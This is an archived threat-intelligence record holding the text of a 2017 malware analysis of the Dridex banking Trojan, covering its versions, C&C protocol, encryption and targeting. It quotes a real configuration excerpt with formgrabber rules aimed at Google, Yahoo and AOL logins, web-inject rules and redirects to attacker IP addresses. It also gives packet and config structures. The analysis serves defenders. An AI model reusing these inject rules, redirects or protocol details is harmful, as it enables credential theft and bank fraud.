{
	"id": "3b686017-90ed-4706-9f38-44bc802ca6e6",
	"created_at": "2026-04-06T00:07:04.879896Z",
	"updated_at": "2026-04-10T13:11:36.518655Z",
	"deleted_at": null,
	"sha1_hash": "1de17b1d70c0750483a3759d5c71149943cb71c7",
	"title": "Dridex: A History of Evolution",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 855343,
	"plain_text": "Dridex: A History of Evolution\r\nBy Nikita Slepogin\r\nPublished: 2017-05-25 · Archived: 2026-04-05 13:42:00 UTC\r\nThe Dridex banking Trojan, which has become a major financial cyberthreat in the past years (in 2015, the\r\ndamage done by the Trojan was estimated at over $40 million), stands apart from other malware because it has\r\ncontinually evolved and become more sophisticated since it made its first appearance in 2011. Dridex has been\r\nable to escape justice for so long by hiding its main command-and-control (C\u0026C) servers behind proxying layers.\r\nGiven that old versions stop working when new ones appear and that each new improvement is one more step\r\nforward in the systematic development of the malware, it can be concluded that the same people have been\r\ninvolved in the Trojan’s development this entire time. Below we provide a brief overview of the Trojan’s\r\nevolution over six years, as well as some technical details on its latest versions.\r\nHow It All Began\r\nDridex made its first appearance as an independent malicious program (under the name “Cridex”) around\r\nSeptember 2011. An analysis of a Cridex sample (MD5: 78cc821b5acfc017c855bc7060479f84) demonstrated that,\r\neven in its early days, the malware could receive dynamic configuration files, use web injections to steal money,\r\nand was able to infect USB media. This ability influenced the name under which the “zero” version of Cridex was\r\ndetected — Worm.Win32.Cridex.\r\nThat version had a binary configuration file:\r\nhttps://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/\r\nPage 1 of 13\n\nSections named databefore, datainject, and dataafter made the web injections themselves look similar to the\r\nwidespread Zeus malware (there may have been a connection between this and the 2011 Zeus source code leak).\r\nCridex 0.77–0.80\r\nIn 2012, a significantly modified Cridex variant (MD5: 45ceacdc333a6a49ef23ad87196f375f) was released. The\r\ncybercriminals had dropped functionality related to infecting USB media and replaced the binary format of the\r\nconfiguration file and packets with XML. Requests sent by the malware to the C\u0026C server looked as follows:\r\n\u003cmessage set_hash=\"\" req_set=\"1\" req_upd=\"1\"\u003e\r\n    \u003cheader\u003e\r\n        \u003cunique\u003eWIN-1DUOM1MNS4F_A47E8EE5C9037AFE\u003c/unique\u003e\r\n        \u003cversion\u003e600\u003c/version\u003e\r\n        \u003csystem\u003e221440\u003c/system\u003e\r\n        \u003cnetwork\u003e10\u003c/network\u003e\r\n    \u003c/header\u003e\r\n    \u003cdata\u003e\u003c/data\u003e\r\n\u003c/message\u003e\r\nThe \u003cmessage\u003e tag was the XML root element. The \u003cheader\u003e tag contained information about the system, bot\r\nidentifier, and the version of the bot.\r\nHere is a sample configuration file:\r\nhttps://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/\r\nPage 2 of 13\n\n\\.(css|js)\n($|\\?)\u003c![CDATA[https://.*?\\.usbank\\.com/]]\u003e\n\u003c![CDATA[(.*?)]]\u003e \u003c![CDATA[\n\nSample configuration file:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n\u003croot\u003e\r\n\u003csettings hash=\"65762ae2bf50e54757163e60efacbe144de96aca\"\u003e\r\n\u003chttpshots\u003e\r\n\u003curl type=\"deny\" onget=\"1\" onpost=\"1\"\u003e\\.(gif|png|jpg|css|swf|ico|js)($|\\?)\u003c/url\u003e\r\n\u003curl type=\"deny\" onget=\"1\" onpost=\"1\"\u003e(resource\\.axd|yimg\\.com)\u003c/url\u003e\r\n\u003c/httpshots\u003e\r\n\u003cformgrabber\u003e\r\n\u003curl type=\"deny\"\u003e\\.(swf)($|\\?)\u003c/url\u003e\u003curl type=\"deny\"\u003e/isapi/ocget.dll\u003c/url\u003e\r\n\u003curl type=\"allow\"\u003e^https?://aol.com/.*/login/\u003c/url\u003e\r\n\u003curl type=\"allow\"\u003e^https?://accounts.google.com/ServiceLoginAuth\u003c/url\u003e\r\n\u003curl type=\"allow\"\u003e^https?://login.yahoo.com/\u003c/url\u003e\r\n...\r\n\u003credirects\u003e\r\n\u003credirect name=\"1st\" vnc=\"0\" socks=\"0\" uri=\"http://81.208.13.10:8080/injectgate\"\r\ntimeout=\"20\"\u003etwister5.js\u003c/redirect\u003e\r\n\u003credirect name=\"2nd\" vnc=\"1\" socks=\"1\" uri=\"http://81.208.13.10:8080/tokengate\"\r\ntimeout=\"20\"\u003emainsc5.js\u003c/redirect\u003e\r\n\u003credirect name=\"vbv1\" vnc=\"0\" socks=\"0\" postfwd=\"1\"\r\nuri=\"http://23.254.129.192:8080/logs/dtukvbv/js.php\" timeout=\"20\"\u003e/logs/dtukvbv/js.php\u003c/redirect\u003e\r\n\u003credirect name=\"vbv2\" vnc=\"0\" socks=\"0\" postfwd=\"1\"\r\nuri=\"http://23.254.129.192:8080/logs/dtukvbv/in.php\" timeout=\"20\"\u003e/logs/dtukvbv/in.php\u003c/redirect\u003e\r\n\u003c/redirects\u003e\r\n\u003chttpinjects\u003e\r\n\u003chttpinject\u003e\u003cconditions\u003e\r\n\u003curl type=\"allow\" onpost=\"1\" onget=\"1\" modifiers=\"U\"\u003e\u003c![CDATA[^https\\://.*/tdsecure/intro\\.jsp.*]]\u003e\r\n\u003c/url\u003e\r\n\u003curl type=\"deny\" onpost=\"0\" onget=\"1\" modifiers=\"\"\u003e\\.(gif|png|jpg|css|swf)($|\\?)\u003c/url\u003e\r\nhttps://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/\r\nPage 4 of 13\n\n26\r\n27\r\n28\r\n29\r\n\u003c/conditions\u003e\r\n\u003cactions\u003e\r\n\u003cmodify\u003e\u003cpattern modifiers=\"msU\"\u003e\u003c![CDATA[onKeyDown\\=\".*\"]]\u003e\u003c/pattern\u003e\u003creplacement\u003e\u003c!\r\n[CDATA[onKeyDown=\"\"]]\u003e\u003c/replacement\u003e\u003c/modify\u003e\r\n\u003cmodify\u003e\u003cpattern modifiers=\"msU\"\u003e\u003c![CDATA[(\\\u003chead.*\\\u003e)]]\u003e\u003c/pattern\u003e\u003creplacement\u003e\u003c!\r\n[CDATA[\\1\u003cstyle type=\"text/css\"\u003e\r\nbody {visibility: hidden; }\r\n\u003c/style\u003e\r\n...\r\nThis sample already has redirects for injected .js scripts that are characteristic of Dridex.\r\nHere is a comparison between Dridex and Gameover Zeus injections:\r\nThus, the takedown of one popular botnet (Gameover Zeus) led to a breakthrough in the development of another,\r\nwhich had many strong resemblances to its predecessor.\r\nWe mentioned above that Dridex had begun to use PCRE, while its previous versions used SLRE. Remarkably,\r\nthe only other banking malware that also used SLRE was Trojan-Banker.Win32.Shifu. That Trojan was discovered\r\nin August 2015 and was distributed through spam via the same botnets as Dridex. Additionally, both banking\r\nTrojans used XML configuration files.\r\nhttps://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/\r\nPage 5 of 13\n\nWe also have reasons to believe that, at least in 2014, the cybercriminals behind Dridex were Russian speakers.\r\nThis is supported by comments in the command \u0026 control server’s source code:\r\nAnd by the database dumps:\r\nDridex: from Version 2 to Version 3\r\nBy early 2015, Dridex implemented a kind of P2P network, which is also reminiscent of the Gameover Zeus\r\nTrojan. On that network, some peers (supernodes) had access to the C\u0026C and forwarded requests from other\r\nnetwork nodes to it. The configuration file was still stored in XML format, but it got a new section, \u003cnodes\u003e,\r\nwhich contained an up-to-date peer list. Additionally, the protocol used for communication with the C\u0026C was\r\nencrypted.\r\nDridex: from Version 3 to Version 4\r\nOne of the administrators of the Dridex network was arrested on August 28, 2015. In the early days of September,\r\nnetworks with identifiers 120, 200, and 220 went offline. However, they came back online in October and new\r\nhttps://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/\r\nPage 6 of 13\n\nnetworks were added: 121, 122, 123, 301, 302, and 303.\r\nNotably, the cybercriminals stepped up security measures at that time. Specifically, they introduced geo-filtering\r\nwherein an IP field appeared in C\u0026C request packets, which was then used to identify the peer’s country. If it was\r\nnot on the list of target countries, the peer received an error message.\r\nIn 2016, the loader became more complicated and encryption methods were changed. A binary loader protocol\r\nwas introduced, along with a \u003csettings\u003e section, which contained the configuration file in binary format.\r\nDridex 4.x. Back to the Future\r\nThe fourth version of Dridex was detected in early 2017. It has capabilities similar to the third version, but the\r\ncybercriminals stopped using the XML format in the configuration file and packets and went back to binary. The\r\nanalysis of new samples is rendered significantly more difficult by the fact that the loader now works for two\r\ndays, at most. This is similar to Lurk, except that Lurk’s loader was only active for a couple of hours.\r\nAnalyzing the Loader’s Packets\r\nThe packet structure in the fourth version is similar to those in the late modifications of the loader’s 3.x versions.\r\nHowever, the names of the modules requested have been replaced with hashes:\r\nHere is the function that implements C\u0026C communication and uses these hashes:\r\nhttps://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/\r\nPage 7 of 13\n\nKnowing the packet structure in the previous version, one can guess which hash relates to which module by\r\ncomparing packets from the third and fourth versions.\r\nIn the fourth version of Dridex, there are many places where the CRC32 hashing algorithm is used, including\r\nhashes used to search for function APIs and to check packet integrity. It would make sense for hashes used in\r\npackets to be none other than CRC32 of requested module names. This assumption can easily be verified by\r\nrunning the following Python code:\r\nThat’s right – the hashes obtained this way are the same as those in the program’s code.\r\nWith regards to encryption of the loader’s packets, nothing has changed. As in Dridex version 3, the RC4\r\nalgorithm is used, with a key stored in encrypted form in the malicious program’s body.\r\nhttps://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/\r\nPage 8 of 13\n\nOne more change introduced in the fourth version is that a much stricter loader authorization protocol is now used.\r\nA loader’s lifespan has been reduced to one day, after which encryption keys are changed and old loaders become\r\nuseless. The server responds to requests from all outdated samples with error 404.\r\nAnalysis of the Bot’s Protocol and Encryption\r\nEssentially, the communication of Dridex version 4 with its C\u0026C is based on the same procedure as before, with\r\npeers still acting as proxy servers and exchanging modules. However, encryption and packet structure have\r\nchanged significantly; now a packet looks like the \u003csettings\u003e section from the previous Dridex version. No more\r\nXML.\r\nThe Basic Packet Generation function is used to create packets for communication with the C\u0026C and with peers.\r\nThere are two types of packets for the C\u0026C:\r\n1. 1 Registration and transfer of the generated public key\r\n2. 2 Request for a configuration file\r\nThe function outputs the following packet:\r\nhttps://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/\r\nPage 9 of 13\n\nA packet begins with the length of the RC4 key (74h) that will be used to encrypt strings in that packet. This is\r\nfollowed by two parts of the key that are the same size. The actual key is calculated by performing XOR on these\r\nblocks. Next comes the packet type (00h) and encrypted bot identifier.\r\nPeer-to-Peer Encryption\r\nSample encrypted P2P packet:\r\nThe header of a P2P packet is a DWORD array, the sum of all elements in which is zero. The obfuscated data size\r\nis the same as in the previous version, but the data is encrypted differently:\r\nhttps://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/\r\nPage 10 of 13\n\nThe packet begins with a 16-byte key, followed by 4 bytes of information about the size of data encrypted with the\r\nprevious key using RC4. Next comes a 16-byte key and data that has been encrypted with that key using RC4.\r\nAfter decryption we get a packet compressed with gzip.\r\nPeer to C\u0026C Encryption\r\nAs before, the malware uses a combination of RSA, RC4 encryption, and HTTPS to communicate with the C\u0026C.\r\nIn this case, peers work as proxy servers. An encrypted packet has the following structure: 4-byte CRC, followed\r\nby RSA_BLOB. After decrypting RSA (request packets cannot be decrypted without the C\u0026C private key), we\r\nget a GZIP packet.\r\nConfiguration File\r\nWe have managed to obtain and decrypt the configuration file of botnet 222:\r\nIt is very similar in structure to the \u003csettings\u003e section from the previous version of Dridex. It begins with a 4-byte\r\nhash, which is followed by the configuration file’s sections.\r\nstruct DridexConfigSection {\r\n  BYTE SectionType;\r\n  DWORD DataSize;\r\n  BYTE Data[DataSize];\r\nhttps://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/\r\nPage 11 of 13\n\n};\r\nThe sections are of the same types as in \u003csettings\u003e:\r\n01h – HttpShots\r\n02h – Formgrabber\r\n08h – Redirects\r\netc.\r\nThe only thing that has changed is the encryption of strings in the configuration file – RC4 is now used.\r\nstruct EncryptedConfigString{\r\n  BYTE RC4Key1[16]; // Size's encryption key\r\n  DWORD EncryptedSize;\r\n  BYTE RC4Key2[16]; // Data's encryption key\r\n  BYTE EncryptedData[Size];\r\n};\r\nRC4 was also used to encrypt data in p2p packets.\r\nGeographical Distribution\r\nhttps://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/\r\nPage 12 of 13\n\nThe developers of Dridex look for potential victims in Europe. Between January 1st and early April 2017, we\r\ndetected Dridex activity in several European countries. The UK accounted for more than half (nearly 60%) of all\r\ndetections, followed by Germany and France. At the same time, the malware never works in Russia, as the C\u0026Cs\r\ndetect the country via IP address and do not respond if the country is Russia.\r\nConclusion\r\nIn the several years that the Dridex family has existed, there have been numerous unsuccessful attempts to block\r\nthe botnet’s activity. The ongoing evolution of the malware demonstrates that the cybercriminals are not about to\r\nbid farewell to their brainchild, which is providing them with a steady revenue stream. For example, Dridex\r\ndevelopers continue to implement new techniques for evading the User Account Control (UAC) system. These\r\ntechniques enable the malware to run its malicious components on Windows systems.\r\nIt can be surmised that the same people, possibly Russian speakers, are behind the Dridex and Zeus Gameover\r\nTrojans, but we do not know this for a fact. The damage done by the cybercriminals is also impossible to assess\r\naccurately. Based on a very rough estimate, it has reached hundreds of millions of dollars by now. Furthermore,\r\ngiven the way that the malware is evolving, it can be assumed that a significant part of the “earnings” is reinvested\r\ninto the banking Trojan’s development.\r\nThe analysis was performed based on the following samples:\r\nDridex4 loader: d0aa5b4dd8163eccf7c1cd84f5723d48\r\nDridex4 bot: ed8cdd9c6dd5a221f473ecf3a8f39933\r\nSource: https://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/\r\nhttps://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/\r\nPage 13 of 13",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia",
		"ETDA"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/"
	],
	"report_names": [
		"dridex-a-history-of-evolution"
	],
	"threat_actors": [
		{
			"id": "dcba8e2b-93e0-4d6e-a15f-5c44faebc3b1",
			"created_at": "2022-10-25T16:07:23.816991Z",
			"updated_at": "2026-04-10T02:00:04.758143Z",
			"deleted_at": null,
			"main_name": "Lurk",
			"aliases": [],
			"source_name": "ETDA:Lurk",
			"tools": [],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434024,
	"ts_updated_at": 1775826696,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/1de17b1d70c0750483a3759d5c71149943cb71c7.pdf",
		"text": "https://archive.orkl.eu/1de17b1d70c0750483a3759d5c71149943cb71c7.txt",
		"img": "https://archive.orkl.eu/1de17b1d70c0750483a3759d5c71149943cb71c7.jpg"
	}
}